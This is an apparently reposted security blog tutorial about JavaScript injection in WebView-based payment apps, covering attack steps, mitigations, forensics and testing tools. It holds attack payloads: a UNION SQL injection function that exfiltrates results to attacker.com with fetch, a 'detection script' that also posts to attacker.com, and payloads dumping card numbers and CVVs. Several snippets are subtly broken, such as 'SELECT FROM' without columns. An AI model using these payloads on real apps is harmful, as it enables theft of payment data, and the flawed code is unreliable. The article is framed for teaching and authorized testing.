Listen to this Post
Introduction:
Client-side injection attacks, particularly JavaScript injection into WebView-based payment applications, represent a critical blind spot in mobile security. When developers expose JavaScript interfaces without strict input validation, attackers can craft malicious payloads that bypass authentication, extract offline transaction data via UNION-based SQL injection, and pivot through React Native bridges – all without requiring root access or advanced device compromise.
Learning Objectives:
- Understand how JavaScript injection bypasses authentication and extracts sensitive wallet data (balances, tokens, PIN artifacts) from offline storage.
- Learn to replicate UNION-based injection techniques against local SQLite databases within payment apps.
- Implement defensive coding practices for WebView bridges, React Native modules, and input validation to prevent data exfiltration.
You Should Know:
- The Anatomy of the Attack: From JavaScript Payload to Data Dump
The attack begins when an attacker injects a malicious JavaScript payload into an input field or deep link that the WebView renders without sanitization. Once executed, the payload exploits overexposed JavaScript interfaces (e.g., `addJavascriptInterface` on Android) to invoke native methods that should require authentication.
Example Malicious Payload:
// UNION-based injection to extract offline transaction data
function dumpTransactionData() {
var sqlPayload = "' UNION SELECT sql FROM sqlite_master -- ";
var query = "SELECT FROM transactions WHERE user_id = '" + sqlPayload + "'";
// Assuming exposed bridge method 'executeQuery'
window.ExposedBridge.executeQuery(query, function(result) {
fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(result) });
});
}
dumpTransactionData();
Step-by-step guide to testing this vulnerability (authorized testing only):
1. Decompile the target APK using `jadx` to identify WebView configurations and registered JavaScript interfaces.
2. Look for `webView.addJavascriptInterface(new MyBridge(), “ExposedBridge”)` – any interface without permission checks is risky.
3. Craft a payload that calls a method exposed by the bridge, passing malicious SQL.
4. Inject the payload via a search bar, comment field, or deeplink URL parameter.
5. Monitor network traffic to confirm data exfiltration.
- Exploiting WebView Bridges: How Overexposed Interfaces Become Entry Points
WebView bridges allow JavaScript running inside a WebView to call native Java/Kotlin or Objective-C/Swift code. When developers expose a bridge that gives direct database access or file read capabilities, an attacker can bypass all client-side authentication.
Vulnerable Android Bridge Example:
webView.addJavascriptInterface(new Object() {
@JavascriptInterface
public String getOfflineData(String query) {
// No origin check, no authentication, no input validation
return database.rawQuery(query, null);
}
}, "PaymentBridge");
Mitigation – Secure Bridge Implementation:
webView.addJavascriptInterface(new Object() {
@JavascriptInterface
public String getOfflineData(String query) {
if (!isValidOrigin(webView.getUrl())) return "Access denied";
if (!hasValidSessionToken()) return "Not authenticated";
String sanitized = sanitizeSQL(query);
return database.rawQuery(sanitized, null);
}
}, "SecureBridge");
Linux command to test WebView exposure (using adb and rooted emulator):
Pull app's WebView database adb shell run-as com.vulnerable.payment cat databases/webview.db > /sdcard/webview.db exit adb pull /sdcard/webview.db sqlite3 webview.db "SELECT FROM javascript_interfaces;"
3. UNION-Based SQL Injection in Offline Databases
Payment apps often store transaction records, wallet IDs, tokens, and PIN hashes in local SQLite databases for offline functionality. A properly crafted UNION injection can dump these tables even when no network is available.
Step-by-step UNION injection guide:
- Identify a JavaScript function that accepts user input and builds a SQL query.
- Test for injection by sending a single quote `’` – if an error appears or behavior changes, it’s vulnerable.
- Determine the number of columns using `’ UNION SELECT NULL, NULL, NULL — `
4. Extract table names: `’ UNION SELECT name, NULL, NULL FROM sqlite_master WHERE type=’table’ — `
5. Dump credit data: `’ UNION SELECT card_number, expiry, cvv FROM payment_cards — `Windows PowerShell command to analyze a compromised payment app backup:
Extract app data from Android backup adb backup -f backup.ab com.vulnerable.payment dd if=backup.ab bs=1 skip=24 | python -c "import zlib,sys;sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" > backup.tar tar -xf backup.tar sqlite3 apps/com.vulnerable.payment/db/wallet.db "SELECT FROM transactions;"
-
Linux & Windows Commands for Forensic Analysis of Compromised Payment Apps
After an attack, forensic analysts need to extract and examine the exfiltrated data remnants.
Linux forensic commands:
Find all SQLite databases in the app sandbox
find /data/data/com.vulnerable.payment -name ".db" -exec sqlite3 {} ".tables" \;
Dump all transaction records
sqlite3 /data/data/com.vulnerable.payment/databases/wallet.db "SELECT FROM offline_transactions;"
Check for injected JavaScript persistence
grep -r "UNION" /data/data/com.vulnerable.payment/cache/
Windows forensic commands (using Windows Subsystem for Linux or standalone tools):
:: Extract from physical Android backup using 7-Zip and SQLite DLL 7z x backup.ab -oextracted sqlite3.exe extracted\wallet.db "SELECT datetime(timestamp, 'unixepoch'), amount, recipient FROM txns;"
Tool configuration – Mobile Security Framework (MobSF) for automated WebView analysis:
docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf Upload APK, navigate to WebView section, look for "JavaScript Interface" warnings.
- Securing React Native Bridges: Detecting and Preventing Pivot Attacks
React Native apps expose native modules via the bridge. If an attacker achieves JavaScript injection, they can call any exposed native module function, potentially accessing file systems, databases, or even the camera.
Vulnerable React Native bridge exposure:
// NativeModule registered without permission checks
import { NativeModules } from 'react-native';
const { PaymentDB } = NativeModules;
// PaymentDB.getAllTransactions() becomes callable from WebView
Detection script (run inside victim WebView):
// Check for exposed native modules
for (let module in window.require('NativeModules')) {
if (module.includes('DB') || module.includes('File')) {
fetch('https://attacker.com/log', {method:'POST', body: module});
}
}
Secure bridge implementation – explicit permission check:
// Native side (iOS/Android) – validate bridge caller
@ReactMethod
public void getTransactions(Promise promise) {
if (!hasValidWebViewOrigin()) {
promise.reject("Unauthorized");
return;
}
// Return filtered data only
promise.resolve(getFilteredTransactions());
}
- Cloud Hardening for Payment Backends: Preventing Server-Side Validation Bypass
While the attack targets offline data, many payment apps sync offline transactions to cloud backends. If local validation can be bypassed, malicious transactions may propagate to the cloud.
API security checklist for payment backends:
- Never trust client-side authentication flags – re-validate every request.
- Implement request signing using HMAC to detect tampered payloads.
- Rate-limit sync endpoints to prevent automated data exfiltration.
Linux command to test API endpoint for replay attacks (saving and replaying legitimate requests):
Capture sync request tcpdump -i eth0 -w payment_sync.pcap host api.payment.com Extract and replay tcpreplay -i eth0 payment_sync.pcap Check if server accepts duplicate offline transactions
Mitigation – implement nonce validation:
Flask backend example
from flask import request
nonces = set()
@app.route('/sync', methods=['POST'])
def sync():
nonce = request.json.get('nonce')
if nonce in nonces:
return "Replay detected", 403
nonces.add(nonce)
Process transaction
- Automated Testing Tools to Identify JavaScript Injection Vulnerabilities
Integrate these tools into your CI/CD pipeline to catch WebView injection flaws before release.
Frida script to hook WebView JavaScript interfaces:
// Enumerate all registered Java bridges
Java.perform(function() {
var WebView = Java.use('android.webkit.WebView');
WebView.addJavascriptInterface.overload('java.lang.Object', 'java.lang.String').implementation = function(obj, name) {
console.log('[!] Exposed interface: ' + name + ' -> ' + obj);
return this.addJavascriptInterface(obj, name);
};
});
Running the hook:
frida -U -l hook_webview.js com.vulnerable.payment
Drozer module for automated bridge discovery:
dz> run app.activity.start --component com.vulnerable.payment .MainActivity dz> run scanner.misc.checkjavascriptbridge -a com.vulnerable.payment
What Undercode Say:
- Key Takeaway 1: Overexposed JavaScript interfaces are the new SQL injection – they bypass traditional client-side security and require rigorous origin checks and input sanitization in every WebView bridge method.
- Key Takeaway 2: Offline transaction data is not safe just because it’s local; UNION-based injection on SQLite databases can extract wallet tokens, PIN artifacts, and full transaction histories without any network connectivity or root privileges.
Analysis: The attack described moves beyond simplistic XSS – it’s a structured client-side compromise that mirrors server-side SQL injection but with offline persistence. Financial apps that prioritize offline functionality often neglect that local storage is equally valuable to attackers. The combination of WebView bridges (to access native database methods) and UNION injection (to traverse schemas) gives attackers a SQLmap-like capability entirely from JavaScript. Most alarming is that standard mobile security controls like certificate pinning and code obfuscation do nothing to stop this; only strict input validation and bridge access controls work. As React Native and similar frameworks proliferate, the attack surface of exposed native modules expands dramatically. Red teams should prioritize testing WebView deep links and input fields that feed into SQLite queries, while defenders must adopt a “never trust the WebView” posture – treat every bridge call as if it came from an untrusted remote origin.
Prediction:
Within 18 months, we will see the first major Class-Action lawsuit against a payment app vendor for negligence after a JavaScript injection attack drains thousands of offline wallets. Regulators will begin mandating WebView bridge security audits as part of PCI DSS compliance. Simultaneously, CVE disclosures for “overexposed JavaScript interfaces” will triple, and automated scanners will emerge to detect these flaws in app stores pre-download. The long-term fix will shift toward “isolation mode” WebViews that require explicit user gestures for any bridge interaction – effectively deprecating silent JavaScript-to-native calls. Until then, every payment app with offline transaction storage remains a ticking bomb.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Sanadhya K – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
